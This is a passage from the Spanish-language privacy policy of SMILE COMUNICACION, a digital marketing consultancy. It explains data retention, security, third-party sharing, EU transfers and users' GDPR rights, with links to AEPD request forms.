    En concreto se tratan siempre en el contexto del ejercicio de nuestra actividad de asesoramiento a pymes y autónomos en el marco de servicios del marketing digital y comunicación, en todas sus variantes.

  • LEGITIMACION
  • La facilitación de los datos personales es imprescindible para la prestación de la información solicitada, o para la ejecución de los servicios en caso de contratar los mismos con el Responsable del sitio web.

    En todo caso, la legitimación para el tratamiento de sus datos deriva del propio consentimiento del interesado.

  • MANTENGA SUS DATOS PERSONALES EXACTOS Y ACTUALIZADOS
  • Es importante para nosotros mantener el registro de sus datos personales actualizado. Por favor, infórmenos de cualquier cambio o error en sus datos personales tan pronto como sea posible poniéndose en contacto con nosotros en el Punto de contacto de protección de datos: info@smilecomunicacion.com.

     

    Adoptaremos las medidas necesarias para asegurarnos de que cualquier información incorrecta sobre sus datos sea eliminada o modificada.

     

  • DURACIÓN DEL TRATAMIENTO DE DATOS
  • Los datos personales proporcionados se conservarán, durante el tiempo mínimo imprescindible para dar respuesta a las solicitudes de información del usuario. Además, estos datos se conservarán aun por un período de dos meses para poder dar respuesta a nuevas solicitudes de información del mismo interesado y por si este termina contratando los servicios del titular de la web. En caso contrario se eliminarán pasados estos dos meses.

    En caso de contratar algún servicio por parte del interesado, sus datos se mantendrán durante el período de vigencia de la relación profesional. Una vez finalizada esta prestación de servicios, los datos quedarían bloqueados y solo accesibles por las personas designadas para ello durante el posible período de prescripción legal, tras el cual los datos se eliminarán definitivamente. Ello salvo que el interesado hubiera prestado consentimiento para el mantenimiento de sus datos para ser informado de noticias que puedan ser de su interés provenientes de la empresa o estuviera suscrito al servicio de newsletter, en cuyo caso se mantendrían hasta que dicho interesado revocara el consentimiento prestado.

    Para obtener más información sobre la duración del almacenamiento de los datos personales antes de eliminarlos de nuestros sistemas y bases de datos, puede contactarnos en el email info@smilecomunicacion.com.

  • SEGURIDAD DE LOS DATOS
  • SMILE COMUNICACION cumple una serie de medidas de seguridad técnicas y organizativas para proteger sus Datos personales contra el acceso o uso ilegal o no autorizado, así como contra la pérdida o daño accidental de su integridad.

    Sus datos personales solo podrán ser tratados por un tercero solo en el caso de que el Encargado de Tratamiento se comprometa a adoptar las medidas técnicas y organizativas que sean necesarias para cumplir con el compromiso de seguridad en el tratamiento de los datos protegiendo así la confidencialidad, integridad y disponibilidad de estos. Asimismo, deberá firmarse el contrato de encargado del Tratamiento de acuerdo a las exigencias del artículo 28 del RGPD.

  • MENORES DE EDAD
  • Los contenidos de la página web no están dirigidos a menores de 14 años. En todo caso SMILE COMUNICACION se reserva el derecho a tomar todas las medidas posibles para comprobar la edad de los usuarios, pero no puede hacerse responsable de cualquier incumplimiento en este sentido.

     

  • COMUNICACIÓN DE DATOS PERSONALES
  • Esta página web no cede los datos a terceros salvo:

    • Para cumplir con la ley, las solicitudes de las autoridades o los requerimientos judiciales.
    • Que sea necesario para la prestación de un asesoramiento específico sin soporte legal, para lo cual se solicitará consentimiento previo a los interesados.
  • TRANSFERENCIAS FUERA DE UE
  • Sus datos personales no se transferirán en ningún caso a destinatarios fuera de la Unión Europea.

    Si en algún momento fuera este el caso, el interesado será informado de ello mediante un comunicado de privacidad y se cumplirían el resto de medidas legales previstas en el RGPD.

                                              

  • INFORMACIÓN LEGAL
  • Los requisitos de esta Política complementan, y no reemplazan, cualquier otro requisito existente bajo la legislación de protección de datos aplicable. En caso de contradicción entre lo que está escrito en esta Política y los requisitos en la normativa de protección de datos aplicable, esta última tendrá prioridad.

    SMILE COMUNICACION puede modificar esta Política en cualquier momento. Cuando esto ocurra, le avisaremos de cualquier cambio y le pediremos que vuelva a leer la versión más reciente de nuestra Política y que confirme su aceptación. También puede verificar esta Política periódicamente en nuestra página web, donde será visible.

     

  • DERECHOS
  • 14.1. DERECHO DE ACCESO

    El artículo 15 del Reglamento General de Protección de Datos reconoce el derecho del interesado a conocer si sus datos personales se están tratando o no y los fines del tratamiento, las categorías de datos, los destinatarios, el origen de los datos, el plazo de conservación y los criterios para determinar dicho plazo. Así, el responsable del tratamiento facilitará copia de los datos personales objeto de tratamiento mediante formato electrónico previa presentación de la solicitud.

    Igualmente podrán solicitar al responsable: la rectificación, supresión o limitación de datos y de tratamiento.

    A fin de facilitarle al usuario el ejercicio de dicho derecho le proporcionamos a través del siguiente link el formulario que deberá cumplimentar para su solicitud:

    https://www.aepd.es/media/formularios/formulario-derecho-de-acceso.pdf

     

    14.2. DERECHO DE RECTIFICACION Y SUPRESIÓN

    Los artículos 16 y 17 del Reglamento General de Protección de Datos establecen en materia de rectificación y supresión de los datos personales que el cliente o usuario solicite la rectificación de sus datos personales por considerar estos inexactos o a que estos se completen o eliminen por no ser necesarios para los fines que fueron recogidos y tratados.

    A fin de facilitarle al usuario el ejercicio de dicho derecho le proporcionamos a través del siguiente link el formulario que deberá cumplimentar para su solicitud:

    https://www.aepd.es/media/formularios/formulario-derecho-de-rectificacion.pdf

    https://www.aepd.es/media/formularios/formulario-derecho-de-supresion.pdf

     

    14.3 DERECHO A LA LIMITACIÓN DEL TRATAMIENTO

    El interesado tendrá derecho a obtener del responsable del tratamiento la limitación del tratamiento de los datos siempre que impugne la exactitud de los datos personales. Esto es, los datos solo podrán ser objeto de tratamiento, con excepción de su conservación, con el consentimiento del interesado, para el ejercicio o la defensa de reclamaciones, proteger los derechos de otra persona física o jurídica o por razones de interés público de la Unión o de un determinado Estado Miembro. Además, este será informado por el responsable antes del levantamiento de dicha limitación.

    A fin de facilitarle al usuario el ejercicio de dicho derecho le proporcionamos a través del siguiente link el formulario que deberá cumplimentar para su solicitud:

    https://www.aepd.es/media/formularios/formulario-derecho-de-limitacion.pdf

     

    14.4 DERECHO A LA PORTABILIDAD DE LOS DATOS

    El artículo 20 del Reglamento General de Protección de Datos reconoce el derecho del interesado a recibir los datos personales que le incumban, esto es, se transmita directamente de responsable a responsable siempre que sea técnicamente posible, en un formato estructurado, de uso común y lectura mecánica sin que lo impida el responsable al que se los hubiera facilitado, cuando el consentimiento se haya externalizado expresamente o medie contrato.

    A fin de facilitarle al usuario el ejercicio de dicho derecho le proporcionamos a través del siguiente link el formulario que deberá cumplimentar para su solicitud:

    https://www.aepd.es/media/formularios/formulario-derecho-de-acceso.pdf